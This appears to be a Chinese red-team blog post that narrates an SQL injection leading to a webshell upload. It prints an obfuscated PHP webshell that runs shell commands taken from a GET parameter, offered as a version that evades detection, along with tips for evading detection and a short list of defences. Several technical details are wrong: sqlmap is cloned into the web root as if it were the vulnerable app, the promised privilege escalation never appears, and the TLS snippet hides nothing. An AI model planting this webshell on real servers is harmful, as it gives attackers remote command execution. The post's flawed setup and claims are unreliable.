0x01 渗透故事:从Webshell到权限提升

在几年前的一次红队演练中,我们的任务是渗透一家金融科技公司。公司内部网络复杂,防御严密,然而我们发现了一处薄弱环节:一个外部网站的SQL注入漏洞。通过这个漏洞,我们成功上传了一个Webshell,实现了初步权限获取。随后,我们的目标是确保Webshell不被检测出,维持对目标环境的长时间访问。

攻击原理分析:Webshell初探

黑客示意图

Webshell的本质是一段能让攻击者远程控制服务器的代码。通过Webshell,我们可以执行系统命令、浏览目录结构、上传/下载文件,甚至进一步发起攻击。

在这个案例中,我们利用了经典的SQL注入漏洞。通过构造特殊的SQL语句,将一个简易的PHP Webshell上传至目标服务器。这种技术虽然简单,但有效。问题在于现代防御系统对Webshell的识别能力越来越强,免杀成为重中之重。

实战环境搭建:模拟目标系统

为了复现这个案例,我们搭建了一个模拟环境:

黑客示意图

  • 操作系统:Ubuntu 20.04
  • Web服务器:Apache 2.4
  • 数据库:MySQL 5.7
  • 目标网站:包含SQL注入漏洞的PHP应用

我们将目标网站配置为允许上传文件,并故意留下了一个易受攻击的SQL注入点。

<pre><code class="language-shell"># 在Ubuntu上安装Apache和MySQL sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php

安装SQL注入测试应用

sudo git clone https://github.com/sqlmapproject/sqlmap.git /var/www/html

启动服务

sudo systemctl start apache2 sudo systemctl start mysql</code></pre>

Payload构造的艺术:绕过与免杀

为了确保Webshell能绕过检测,我们需要一些技巧:

  1. 混淆代码:将Webshell代码进行混淆,增加检测难度。
  2. 动态生成:使用动态生成的代码块,防止静态签名检测。
  3. 内存加载:通过特定函数调用在内存中执行代码,避免落盘。

以下是一个基本PHP Webshell的免杀版本:

<pre><code class="language-php">&lt;?php // Webshell代码混淆示例 eval(base64_decode(&#039;aWYgKGlzc2V0KCRfR0VUWydjdW0nXSkpeyBzeXN0ZW0oJF9HRVRbJ2N1bSddKTsgfQ==&#039;)); ?&gt;</code></pre>

黑客示意图

解释一下:这里我们使用base64_decode对命令进行了编码,只要用户通过GET参数传递命令,就可以在服务器上执行。这种手法能躲避很多简单的检测规则。

流量捕获实战:如何保持隐秘

即便Webshell上传成功,我们还需要考虑流量隐藏问题。通过使用SSL/TLS加密和自定义协议,我们可以更有效地躲避流量分析。一个常见的策略是将流量伪装成合法的HTTPS请求,利用加密协议的复杂性来增加分析难度。

<pre><code class="language-python">import ssl import socket

创建一个SSL上下文以加密流量

context = ssl.create_default_context()

连接到服务器并发送加密请求

with socket.create_connection((&#039;target.com&#039;, 443)) as sock: with context.wrap_socket(sock, server_hostname=&#039;target.com&#039;) as ssock: ssock.sendall(b&#039;GET / HTTP/1.1\r\nHost: target.com\r\n\r\n&#039;) print(ssock.recv(4096))</code></pre>

检测与防御:如何识破隐藏威胁

在攻击者看来,绕过检测是成功的关键。然而,作为防御者,识别Webshell和隐匿流量是挑战。现代防御技术,如基于行为的检测、机器学习模型、神经网络分析,正不断提高检测能力。

防御建议

  • 部署基于行为分析的IDS/IPS系统。
  • 实施严格的输入验证,防止SQL注入。
  • 定期扫描网站是否存在可上传Webshell的漏洞。
  • 加强日志监控,发现异常访问模式。

红队经验分享:攻防一体化

黑客示意图

在这次演练中,我们不仅成功渗透,还在目标环境中维持了长时间的访问。我们的成功主要归功于:

  1. 持续学习:保持对新漏洞和免杀技术的了解。
  2. 工具优化:使用自研工具更好地进行免杀处理。
  3. 团队协作:各个成员在攻防中互相支持,分享策略。

作为红队成员,你要不断思考如何突破现有防御,利用漏洞并加以武器化。而作为防御者,则需时刻警惕、更新技术,确保环境安全。希望本次分享能在你的攻防实践中提供启发。